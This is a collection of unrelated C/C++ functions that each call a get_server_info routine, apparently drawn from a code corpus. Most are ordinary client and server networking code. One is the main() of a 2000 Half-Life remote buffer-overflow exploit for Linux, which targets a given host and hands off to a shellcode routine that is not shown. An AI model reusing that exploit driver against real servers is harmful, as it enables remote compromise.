/* Usage: ask the routing server to get the routing info this func uses route_prtl to communicate with specific routing server Return: 1) -1 -> error 2) 0 -> the local server itself is/will be responsible for this kind of name in the future 3) 1 -> another server is responsible for the name request, its ip address is restored in char *hostipaddr */ int route(int rservfd, int logfd, char nameitem, char *hostipaddr) { int sockfd; int n; int flag = -1; char serv_name[MAXHOSTNAME]; char port[MAXPORTSIZE]; struct route_prtl request, reply; write_log(logfd, "[Info] route -- start to check routing info"); // read the routing server config, get the ip of it if (get_server_info(rservfd, serv_name, port) == -1) { fprintf(stderr, "[Error] route -- failed to parse routeserver info\n"); write_log(logfd, "[Error] route -- failed to parse routeserver info"); return flag; } // connect to name server with timeout sockfd = tcp_connect(serv_name, port); if (sockfd == -1) { fprintf(stderr, "[Error] route -- failed to connect\n"); write_log(logfd, "[Error] route -- failed to connect"); return flag; } // initialize the request pkt request.protocol = '2'; request.type = '1'; /* lookup */ request.id = nameitem; /* send route request */ if (write(sockfd, &request, sizeof(request)) == -1) { fprintf(stderr, "[Error] route -- fail to send route prtl request\n"); write_log(logfd, "[Error] route -- fail to send route prtl request"); return flag; } // read the route_prtl struct directly with timeout if ((n = read_timeo(sockfd, &reply, sizeof(reply), TRANS_TIMEO)) < 0) { fprintf(stderr, "[Error] route -- fail to get the route reply\n"); write_log(logfd, "[Error] route -- fail to get the route reply"); return flag; } if (reply.type == '4') { fprintf(stderr, "[Error] route -- routeserver failed\n"); write_log(logfd, "[Error] route -- routeserver failed"); return flag; } else if (reply.type == '2') { strcpy(hostipaddr, reply.ipaddr); flag = 1; } else if (reply.type == '3') { flag = 0; } close(sockfd); return flag; }
static void *logpool_io_Init(logpool_t *logpool, logpool_param_t *p) { struct io_plugin *lp; lp = cast(struct io_plugin *, logpool_string_Init(logpool, p)); char host[128] = {}; int port = get_server_info((struct logpool_param_stream *) p, host); lp->io = io_open_trace(host, port); return cast(void *, lp); }
void init_display (bitmap_font_type f) { string server_identity; /* Do nothing unless the user wants us to. */ if (!wants_display) return; server_identity = get_identity (); #ifndef STANDALONE_SERVER { /* Fork our server. This is the production case. */ unsigned design_size; int pid = fork (); switch (pid) { case -1: FATAL_PERROR ("fork"); case 0: { /* We are the child, i.e., the server. Convert the design size, which we have in points, to pixels. `start_server' never returns, because it waits forever for events. */ design_size = (BITMAP_FONT_DESIGN_SIZE (f) * atof (dpi) / POINTS_PER_INCH); start_server (design_size, server_identity); FATAL ("init_display: start_server returned"); } default: /* We are the parent, i.e., the main process. Continue outside the switch. */ ; } } #endif /* not STANDALONE_SERVER */ /* Assign to the globals so that our other routines can send messages. */ get_server_info (&server_window, &display, server_identity); /* Register our message atoms with the X server. */ foserver_exit_atom = XInternAtom (display, FOSERVER_EXIT_ATOM, False); foserver_update_pixmap_atom = XInternAtom (display, FOSERVER_UPDATE_PIXMAP_ATOM, False); }
static gboolean source_process2 (GsqQuerier *querier, gchar *p, gssize size) { Private *priv = gsq_querier_get_pdata (querier); gint type = gsq_get_uint8 (&p); if ((type == 'A' || type == 'I' || type == 'm' || type == 'D' || type == 'R') && gsq_querier_get_fields (querier)->len == 0) { gsq_querier_add_field (querier, N_("Kills"), G_TYPE_INT); gsq_querier_add_field (querier, N_("Time"), G_TYPE_STRING); } switch (type) { case 'A': if (size == 9) { memcpy (priv->plist_query, "\xFF\xFF\xFF\xFF\x55", 5); memcpy (priv->plist_query + 5, p, 4); /* request player list right away */ guint32 port = gsq_querier_get_gport (querier); if (port == 0) port = 27015; gsq_querier_send (querier, port, priv->plist_query, 9); return TRUE; } break; case 'I': get_server_info (querier, p); priv->newprotocol = TRUE; return TRUE; case 'm': if (!priv->newprotocol) get_server_info_gold (querier, p); return TRUE; case 'D': get_player_list (querier, p); return TRUE; case 'R': gsq_querier_emit_log (querier, p); return TRUE; case 'l': gsq_querier_emit_error (querier, GSQ_QUERIER_ERROR, GSQ_QUERIER_ERROR_CUSTOM, p); return FALSE; } return FALSE; }
main(int argc, char **argv) { u32 addr, laddr; u16 port; int sock, i; u8 linfo[256], *tmp = NULL; printf(". half-life 3.1.0.x remote buffer-overflow for linux x86\n"); printf(". (c)2000, Tamandua Sekure Laboratories\n"); printf(". Authors: Thiago Zaninotti & Gustavo Scotti\n"); if (argc<2) usage(); tmp = (u8 *)strchr(argv[1], ':'); if (tmp) { *tmp = 0; tmp++; port = atoi(tmp); } else { printf(": port not found, using default 27015\n"); port = 27015; } addr = dns2ip(argv[1]); if (addr==0xffffffff) { printf("host not found!\n"); exit(0); } sock = udp_connect( addr, port); laddr = retrieve_local_info(sock, linfo); if (get_server_info(sock, addr, port)!=1) { printf("this is not a linux server. Make a shellcode to it and have fun\n"); exit(0); } assembly_shell_code(sock, addr, port, laddr, linfo); }
int Msg(const char *id) { FILE *fd = NULL; char buf[SIZE]; char command[SIZE]; int result = -1; off_t size; char size_c[SIZE]; SSL_CTX* ctx = NULL; SSL* ssl = NULL; int sd = -1; errno = 0; sha1 = NULL; /* Sha1 for wanted ID */ server = NULL;/* server for wanted ID */ port = 0; /* port for Wanted ID*/ /* Get info about file */ get_server_info(id); get_sha1(id); fd = crv_fopen(sha1, "w"); if (fd == NULL) { fprintf( stderr, "%s\n", "Msg(): Err[001] crv_fopen() failed"); return (-1); } fprintf(fd, "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n"); fprintf(fd, "<comment><![CDATA["); fprintf(stdout, "%s", "\nEntrez votre reponse(':wq' pour quitter)\n"); fprintf(stdout, "%s", ">"); while (fgets(buf, sizeof(buf), stdin) != NULL) { buf[strcspn(buf, "\n")] = '\0'; if (!crv_strncmp(buf, ":wq")) break; fprintf(fd, "%s\n", buf); fprintf(stdout, "%s", ">"); } fprintf(fd, "]]></comment>\n"); fclose(fd); /* * Build command -> GET#version#sha1#begin#end */ size = crv_du (sha1); if (size == -1) { fprintf( stderr, "%s\n", "Put(): Err[002] crv_du() can't get size"); return(-1); } snprintf(size_c, sizeof(size), "%lld", size); (void)crv_strncpy(command, "MSG_REPLY#", sizeof(command)); (void)crv_strncat(command, CREUVUX_VERSION, sizeof(command)); (void)crv_strncat(command, "#", sizeof(command)); (void)crv_strncat(command, sha1, sizeof(command)); (void)crv_strncat(command, "#", sizeof(command)); (void)crv_strncat(command, "0", sizeof(command)); (void)crv_strncat(command, "#", sizeof(command)); (void)crv_strncat(command, size_c, sizeof(command)); /* * Connection. */ init_OpenSSL (); seed_prng (); sd = crv_client_create( port, server, options.address_family); /* We keep the certificate and key with the context. */ ctx = setup_client_ctx (); /* TCP connection is ready. Do server side SSL. */ ssl = SSL_new (ctx); if ((ssl)==NULL) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf(stderr, "%s\n", "Msg() Err[003] Create new ssl failed"); return(-1); } /* connect the SSL object with a file descriptor */ result = SSL_set_fd (ssl, sd); if ( result == 0) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf(stderr, "%s\n", "Msg() Err[004] Put SSL on socket failed \n"); return(-1); } result = SSL_connect (ssl); if (result == 0) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf( stderr, "%s\n", "Msg(): Err[005] SSL_connect() failed"); return(-1); } else if (result == -1) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf( stderr, "%s\n", "Msg(): Err[006] SSL_connect() failed"); return(-1); } result = SSL_write (ssl, command, (int)strlen(command)); if ( result <= 0) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf(stderr, "%s\n", "receive_get_file(): Err[011] SSL_write() failed."); return(-1); } result = SSL_read (ssl, buf, sizeof(buf) - 1); buf[result] = '\0'; if(!strncmp (buf, "PUT_ACK", strlen("PUT_ACK"))) { fprintf(stdout, "\n\n"); result = SSL_sendfile(ssl, NULL, sha1, (off_t)0, size); if (result == -1) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf(stderr, "%s\n", "Put() Err[012] SSL_sendfile() failed"); return(-1); } } result = SSL_write (ssl, "PUT_END", (int)strlen("PUT_END")); if ( result <= 0) { close(sd); SSL_free (ssl); SSL_CTX_free (ctx); fprintf(stderr, "%s\n", "receive_get_file(): Err[013] SSL_write() failed."); return(-1); } result = unlink((const char *)sha1); if (result == -1) { fprintf(stderr, "%s%s\n", "Msg(): Err[007] unlink() failed with error -> ", strerror(errno)); return (-1); } return (0); }
static jobject getNew(JNIEnv *env, jclass connCls, jstring hostName, jlong timeout) { char *utf; samrpc_client_t *client; ctx_t ctx; char svr_hostname[MAXHOSTNAMELEN + 1]; jlong jhandle; jmethodID mid; jobject newObj; jboolean isCopy; char *srv_api_ver = NULL, *sam_ver = NULL; int verdiff; PTRACE(1, "jni:SamFSConnection_getNew() entry"); utf = GET_STR(hostName, isCopy); PTRACE(1, "jni:hostname=%s.", utf); #ifdef LOCALMGMT /* create handle */ client = (samrpc_client_t *)malloc(sizeof (samrpc_client_t)); /* initialize library */ PTRACE(1, "jni:initializing mgmt lib"); if (-1 == init_sam_mgmt(&ctx)) { REL_STR(hostName, utf, isCopy); ThrowEx(env); return; } #else // use RPC /* create handle (initializes the library too) */ PTRACE(1, "jni:creating new rpc client, timeout=%ld", (time_t)timeout); client = samrpc_create_clnt_timed(utf, (time_t)timeout); if (NULL == client) { REL_STR(hostName, utf, isCopy); ThrowEx(env); return (NULL); } /* check client vs server API version */ ctx.dump_path[0] = ctx.read_location[0] = ctx.user_id[0] = '\0'; ctx.handle = client; srv_api_ver = get_samfs_lib_version(&ctx); if (NULL != srv_api_ver && NULL != samrpc_version()) { verdiff = strcmp(samrpc_version(), srv_api_ver); if (verdiff > 0) { /* client is newer */ PTRACE(1, "jni:clientver:%s serverver:%s", samrpc_version(), srv_api_ver); } if (verdiff < 0) { /* server is newer */ REL_STR(hostName, utf, isCopy); PTRACE(1, "jni:clientver:%s serverver:%s", samrpc_version(), srv_api_ver); ThrowIncompatVerEx(env, B_FALSE); return (NULL); } // versions match PTRACE(1, "jni:client/server versions match (%s)", srv_api_ver); // shared fs is supported in 1.2, // get_server_info is available in 1.2 memset(svr_hostname, 0, MAXHOSTNAMELEN + 1); if (strcmp(srv_api_ver, "1.1") > 0) { if (get_server_info(&ctx, svr_hostname) < 0) { ThrowEx(env); return (NULL); } PTRACE(2, "jni:hostname of server[%s]", svr_hostname); } } /* now get SAM-FS/QFS version */ sam_ver = get_samfs_version(&ctx); #endif if (NULL == client) { REL_STR(hostName, utf, isCopy); ThrowEx(env); return (NULL); } PTRACE(1, "jni:mgmt lib initialized"); #ifdef LOCALMGMT client->svr_name = ""; #endif jhandle = (jlong)client; /* call private constructor */ mid = (*env)->GetMethodID(env, connCls, "<init>", "(JLjava/lang/String;" "Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V"); newObj = (*env)->NewObject(env, connCls, mid, jhandle, JSTRING(srv_api_ver), JSTRING(sam_ver), JSTRING(svr_hostname), JSTRING(client->svr_name)); REL_STR(hostName, utf, isCopy); PTRACE(1, "jni:SamFSConnection_getNew() exit"); return (newObj); }
int Condor_Auth_X509::authenticate_client_gss(CondorError* errstack) { OM_uint32 major_status = 0; OM_uint32 minor_status = 0; int status = 0; priv_state priv = PRIV_UNKNOWN; if (isDaemon()) { priv = set_root_priv(); } char target_str[] = "GSI-NO-TARGET"; major_status = globus_gss_assist_init_sec_context(&minor_status, credential_handle, &context_handle, target_str, GSS_C_MUTUAL_FLAG, &ret_flags, &token_status, relisock_gsi_get, (void *) mySock_, relisock_gsi_put, (void *) mySock_ ); if (isDaemon()) { set_priv(priv); } if (major_status != GSS_S_COMPLETE) { if (major_status == 655360 && minor_status == 6) { errstack->pushf("GSI", GSI_ERR_AUTHENTICATION_FAILED, "Failed to authenticate. Globus is reporting error (%u:%u). " "This indicates that it was unable to find the issuer " "certificate for your credential", (unsigned)major_status, (unsigned)minor_status); } else if (major_status == 655360 && minor_status == 9) { errstack->pushf("GSI", GSI_ERR_AUTHENTICATION_FAILED, "Failed to authenticate. Globus is reporting error (%u:%u). " "This indicates that it was unable to verify the server's " "credential", (unsigned)major_status, (unsigned)minor_status); } else if (major_status == 655360 && minor_status == 11) { errstack->pushf("GSI", GSI_ERR_AUTHENTICATION_FAILED, "Failed to authenticate. Globus is reporting error (%u:%u). " "This indicates that it was unable verify the server's " "credentials because a signing policy file was not found or " "could not be read.", (unsigned)major_status, (unsigned)minor_status); } else { errstack->pushf("GSI", GSI_ERR_AUTHENTICATION_FAILED, "Failed to authenticate. Globus is reporting error (%u:%u)", (unsigned)major_status, (unsigned)minor_status); } print_log(major_status,minor_status,token_status, "Condor GSI authentication failure"); // Following four lines of code is added to temporarily // resolve a bug (I belive so) in Globus's GSI code. // basically, if client calls init_sec_context with // mutual authentication and it returns with a mismatched // target principal, init_sec_context will return without // sending the server any token. The sever, therefore, // hangs on waiting for the token (or until the timeout // occurs). This code will force the server to break out // the loop. status = 0; mySock_->encode(); mySock_->code(status); mySock_->end_of_message(); } else { // Now, wait for final signal mySock_->decode(); if (!mySock_->code(status) || !mySock_->end_of_message()) { errstack->push("GSI", GSI_ERR_COMMUNICATIONS_ERROR, "Failed to authenticate with server. Unable to receive server status"); dprintf(D_SECURITY, "Unable to receive final confirmation for GSI Authentication!\n"); } if (status == 0) { errstack->push("GSI", GSI_ERR_AUTHENTICATION_FAILED, "Failed to get authorization from server. Either the server " "does not trust your certificate, or you are not in the server's " "authorization file (grid-mapfile)"); dprintf(D_SECURITY, "Server is unable to authorize my user name. Check the GRIDMAP file on the server side.\n"); goto clear; } char * server = get_server_info(); // store the raw subject name for later mapping setAuthenticatedName(server); // Default to user name "gsi@unmapped". // Later on, if configured, we will invoke the callout in nameGssToLocal. setRemoteUser("gsi"); setRemoteDomain( UNMAPPED_DOMAIN ); // extract and store VOMS attributes if (param_boolean("USE_VOMS_ATTRIBUTES", true)) { // get the voms attributes from the peer globus_gsi_cred_handle_t peer_cred = context_handle->peer_cred_handle->cred_handle; char * voms_fqan = NULL; int voms_err = extract_VOMS_info(peer_cred, 1, NULL, NULL, &voms_fqan); if (!voms_err) { setFQAN(voms_fqan); free(voms_fqan); } else { // complain! dprintf(D_SECURITY, "ZKM: VOMS FQAN not present (error %i), ignoring.\n", voms_err); } } std::string fqh = get_full_hostname(mySock_->peer_addr()); StringList * daemonNames = getDaemonList("GSI_DAEMON_NAME",fqh.c_str()); // Now, let's see if the name is in the list, I am not using // anycase here, so if the host name and what we are looking for // are in different cases, then we will run into problems. if( daemonNames ) { status = daemonNames->contains_withwildcard(server) == TRUE? 1 : 0; if( !status ) { errstack->pushf("GSI", GSI_ERR_UNAUTHORIZED_SERVER, "Failed to authenticate because the subject '%s' is not currently trusted by you. " "If it should be, add it to GSI_DAEMON_NAME or undefine GSI_DAEMON_NAME.", server); dprintf(D_SECURITY, "GSI_DAEMON_NAME is defined and the server %s is not specified in the GSI_DAEMON_NAME parameter\n", server); } } else { status = CheckServerName(fqh.c_str(),mySock_->peer_ip_str(),mySock_,errstack); } if (status) { dprintf(D_SECURITY, "valid GSS connection established to %s\n", server); } mySock_->encode(); if (!mySock_->code(status) || !mySock_->end_of_message()) { errstack->push("GSI", GSI_ERR_COMMUNICATIONS_ERROR, "Failed to authenticate with server. Unable to send status"); dprintf(D_SECURITY, "Unable to mutually authenticate with server!\n"); status = 0; } delete [] server; delete daemonNames; } clear: return (status == 0) ? FALSE : TRUE; }
char *server_info_file_mapper::getp_group_name(int idx) { return (char *) (get_server_info(idx)) + sizeof(server_info); }
void server_info_file_mapper::set_zero(int idx) { char *data = (char *) get_server_info(idx); memset(data, 0, CELL_SIZE); }
void server_info_file_mapper::print_cell(int idx) { server_info *p = get_server_info(idx); p->print(); printf("group name is |%s|\n", getp_group_name(idx)); }
void server_base::handle_message(send_function send_fn, boost::function<void(client_info&)> close_fn, boost::function<socket_info&(void)> socket_info_fn, int session_id, const variant& msg) { const std::string& type = msg["type"].as_string(); if(session_id == -1) { if(type == "create_game") { game_info_ptr g(new game_info(msg)); if(!g->game_state) { std::cerr << "COULD NOT CREATE GAME TYPE: " << msg["game_type"].as_string() << "\n"; send_fn(json::parse("{ \"type\": \"create_game_failed\" }")); return; } std::vector<variant> users = msg["users"].as_list(); for(int i = 0; i != users.size(); ++i) { const std::string user = users[i]["user"].as_string(); const int session_id = users[i]["session_id"].as_int(); if(clients_.count(session_id) && session_id != -1) { std::cerr << "ERROR: REUSED SESSION ID WHEN CREATING GAME: " << session_id << "\n"; send_fn(json::parse("{ \"type\": \"create_game_failed\" }")); return; } client_info& cli_info = clients_[session_id]; cli_info.user = user; cli_info.game = g; cli_info.nplayer = i; cli_info.last_contact = nheartbeat_; cli_info.session_id = session_id; if(users[i]["bot"].as_bool(false) == false) { g->game_state->add_player(user); } else { g->game_state->add_ai_player(user, users[i]); } g->clients.push_back(session_id); } const game_context context(g->game_state.get()); g->game_state->setup_game(); games_.push_back(g); send_fn(json::parse(formatter() << "{ \"type\": \"game_created\", \"game_id\": " << g->game_state->game_id() << " }")); status_change(); return; } else if(type == "observe_game") { const int id = msg["game_id"].as_int(); const std::string user = msg["user"].as_string(); const int session_id = msg["session_id"].as_int(); game_info_ptr g; foreach(const game_info_ptr& gm, games_) { if(gm->game_state->game_id() == id) { g = gm; break; } } if(!g) { send_fn(json::parse("{ \"type\": \"unknown_game\" }")); return; } if(clients_.count(session_id)) { send_fn(json::parse("{ \"type\": \"reuse_session_id\" }")); return; } client_info& cli_info = clients_[session_id]; cli_info.user = user; cli_info.game = g; cli_info.nplayer = -1; cli_info.last_contact = nheartbeat_; cli_info.session_id = session_id; g->clients.push_back(session_id); send_fn(json::parse(formatter() << "{ \"type\": \"observing_game\" }")); return; } else if(type == "get_status") { const int last_status = msg["last_seen"].as_int(); if(last_status == status_id_) { status_fns_.push_back(send_fn); } else { send_fn(create_lobby_msg()); } return; } else if(type == "get_server_info") { send_fn(get_server_info()); return; } else { send_fn(json::parse("{ \"type\": \"unknown_message\" }")); return; } }
void server_base::handle_message(send_function send_fn, boost::function<void(client_info&)> close_fn, boost::function<socket_info&(void)> socket_info_fn, int session_id, const variant& msg) { const std::string& type = msg["type"].as_string(); if(session_id == -1) { if(type == "create_game") { game_info_ptr g(create_game(msg)); if(!g) { send_fn(json::parse("{ \"type\": \"create_game_failed\" }")); return; } send_fn(json::parse(formatter() << "{ \"type\": \"game_created\", \"game_id\": " << g->game_state->game_id() << " }")); status_change(); return; } else if(type == "get_status") { const int last_status = msg["last_seen"].as_int(); if(last_status == status_id_) { status_fns_.push_back(send_fn); } else { send_fn(create_lobby_msg()); } return; } else if(type == "get_server_info") { send_fn(get_server_info()); return; } else { std::map<variant,variant> m; m[variant("type")] = variant("unknown_message"); m[variant("msg_type")] = variant(type); send_fn(variant(&m)); return; } } if(type == "observe_game") { fprintf(stderr, "ZZZ: RECEIVE observe_game\n"); const int id = msg["game_id"].as_int(-1); const std::string user = msg["user"].as_string(); game_info_ptr g; foreach(const game_info_ptr& gm, games_) { if(id == -1 || gm->game_state->game_id() == id) { g = gm; break; } } if(!g) { fprintf(stderr, "ZZZ: SEND unknown_game\n"); send_fn(json::parse("{ \"type\": \"unknown_game\" }")); return; } if(clients_.count(session_id)) { fprintf(stderr, "ZZZ: SEND reuse_ssoin_id\n"); send_fn(json::parse("{ \"type\": \"reuse_session_id\" }")); return; } client_info& cli_info = clients_[session_id]; cli_info.user = user; cli_info.game = g; cli_info.nplayer = -1; cli_info.last_contact = nheartbeat_; cli_info.session_id = session_id; g->clients.push_back(session_id); send_fn(json::parse(formatter() << "{ \"type\": \"observing_game\" }")); fprintf(stderr, "ZZZ: RESPONDED TO observe_game\n"); return; }
int main(int argc, char *argv[]) { int sockfd, hostfd; int flags, opt, i, n, m; char serv_name[MAXHOSTNAME]; char port[MAXPORTSIZE]; char name[MAXNAMESIZE + 1]; struct name_prtl request; // get options flags = 0; name[0] = '\0'; while ((opt = getopt(argc, argv, "adlun:")) != -1) { switch (opt) { case 'l': /* lookup */ if (flags != 0) { fprintf(stderr, "[Error] you should only specify one type of "); fprintf(stderr, "operations from add, lookup, delete and update\n"); exit(EXIT_FAILURE); } flags = 1; break; case 'a': /* add */ if (flags != 0) { fprintf(stderr, "[Error] you should only specify one type of "); fprintf(stderr, "operations from add, lookup, delete and update\n"); exit(EXIT_FAILURE); } flags = 2; break; case 'd': /* delete */ if (flags != 0) { fprintf(stderr, "[Error] you should only specify one type of "); fprintf(stderr, "operations from add, lookup, delete and update\n"); exit(EXIT_FAILURE); } flags = 3; break; case 'u': /* update */ if (flags != 0) { fprintf(stderr, "[Error] you should only specify one type of "); fprintf(stderr, "operations from add, lookup, delete and update\n"); exit(EXIT_FAILURE); } flags = 4; break; case 'n': /* name */ n = strlen(optarg); if (n > MAXNAMESIZE) { fprintf(stderr, "[Error] the name is too long, its maxsize is %d\n", MAXNAMESIZE); exit(EXIT_FAILURE); } // copy the input string to name[] for (i = 0; i < n; i++) { name[i] = optarg[i]; } for ( ; i < MAXNAMESIZE + 1; i++) { name[i] = '\0'; } break; default: /* ? */ fprintf(stderr, "[Usage] %s [-adlu] [-n name]\n", argv[0]); exit(EXIT_FAILURE); } } // check input parameters if (flags == 0 || name[0] == '\0') { fprintf(stderr, "[Error] missing args\n"); fprintf(stderr, "[Usage] %s [-adlu] [-n name]\n", argv[0]); exit(EXIT_FAILURE); } if (!((name[0] >= 48 && name[0] <= 57) || (name[0] >= 65 && name[0] <= 90) || (name[0] >= 97 && name[0] <= 122))) { fprintf(stderr, "[Error] illegal name\n "); fprintf(stderr, "the name should begin with a letter or a number\n"); exit(EXIT_FAILURE); } // open the server config file if ((hostfd = open(CONF_FILE, O_RDONLY)) < 0) { handle_err("Open config file error"); } if ((m = get_server_info(hostfd, serv_name, port)) == -1) { fprintf(stderr, "Error: failed to parse server name and port\n"); exit(EXIT_FAILURE); } // connect to name server with timeout sockfd = tcp_connect(serv_name, port); /* tcp_connect in func_wrapper */ if (sockfd == -1) { fprintf(stderr, "[Error] failed to connect to the server\n"); exit(EXIT_FAILURE); } // initialize the request pkt request.protocol = 1; request.type = flags; strncpy(request.name, name, MAXNAMESIZE + 1); if (flags == 1 || flags == 3) { request.len = 0; } else { get_attr_input(&request); /* get the attribute string */ } /* client */ name_service(sockfd, &request); close(sockfd); exit(EXIT_SUCCESS); }